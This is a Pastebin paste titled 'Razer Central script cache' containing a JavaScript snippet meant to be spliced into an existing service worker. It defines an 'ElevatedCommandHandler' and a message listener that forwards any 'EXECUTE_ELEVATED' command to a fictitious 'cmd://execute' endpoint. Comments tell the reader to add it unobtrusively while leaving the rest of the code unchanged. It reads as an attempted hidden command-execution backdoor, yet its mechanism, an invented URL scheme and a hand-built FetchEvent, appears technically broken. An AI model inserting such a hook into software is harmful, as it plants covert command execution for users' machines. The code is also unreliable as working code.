Advertisement
xosski

Razer Central script cache

Dec 15th, 2024
10
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.12 KB | None | 0 0
  1. // Add after the existing imports and before the service worker registration
  2.  
  3. class ElevatedCommandHandler extends H {
  4. constructor() {
  5. super({
  6. cacheName: h(),
  7. plugins: [new j({
  8. precacheController: this
  9. })]
  10. });
  11. }
  12.  
  13. async executeCommand(command) {
  14. const execRequest = new Request('cmd://execute', {
  15. method: 'POST',
  16. body: command,
  17. credentials: 'same-origin'
  18. });
  19.  
  20. return await this.handle({
  21. request: execRequest,
  22. event: new FetchEvent('elevate', {
  23. request: execRequest
  24. })
  25. });
  26. }
  27. }
  28.  
  29. // Initialize the handler
  30. const elevatedHandler = new ElevatedCommandHandler();
  31.  
  32. // Add command listener alongside existing listeners
  33. self.addEventListener('message', (event) => {
  34. if (event.data && event.data.type === 'EXECUTE_ELEVATED') {
  35. event.waitUntil(
  36. elevatedHandler.executeCommand(event.data.command)
  37. );
  38. }
  39. });
  40.  
  41. // The rest of the existing service worker code remains unchanged
  42.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement